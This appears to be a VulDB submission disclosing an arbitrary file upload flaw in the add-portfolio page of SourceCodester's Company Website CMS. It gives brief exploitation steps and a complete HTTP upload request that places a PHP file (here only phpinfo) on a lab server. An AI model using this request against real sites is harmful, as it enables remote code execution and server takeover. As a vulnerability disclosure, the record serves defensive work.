提出 #43178: Company Website CMS Backstage management add-portfolio RCE

info:There is an arbitrary file upload vulnerability in the company's website CMS background management add-portfolio
Add a portfolio in the background, upload attachments, capture packages, and modify the attachment suffix to php as needed.
Modify the attached content php code getshell to achieve RCE.
Then traverse the URL:/dashboard/uploads/portfolio/xxxxx.php access

payload:
POST /dashboard/add-portfolio.php HTTP/1.1
Host: 192.168.153.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------181572735023140528043402355237
Content-Length: 769
Origin: http://192.168.153.1:8090
Connection: close
Referer: http://192.168.153.1:8090/dashboard/add-portfolio.php
Cookie: PHPSESSID=vomi3si61qo6kdmeg950fo9uk2
Upgrade-Insecure-Requests: 1

-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="port_title"

ssssssssssssssssssssssss
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="port_desc"

ssssssssssssssssssssssss
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="port_detail"

ssssssssssssssssssssssss
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="ufile"; filename="123.php"
Content-Type: image/png

<?php phpinfo();?>
-----------------------------181572735023140528043402355237
Content-Disposition: form-data; name="save"

-----------------------------181572735023140528043402355237--

• ソース: ⚠️ www.sourcecodester.com/php/15517/company-website-cms-php.html
• ユーザー: jsbae3449 (UID 30775)
• 送信: 2022年08月09日 19:33 (4 年 ago)
• モデレーション: 2022年08月10日 08:18 (13 hours later)
• ステータス: 承諾済み
• VulDBエントリ: 206024 [SourceCodester Company Website CMS add-portfolio.php ufile 特権昇格]
• ポイント: 17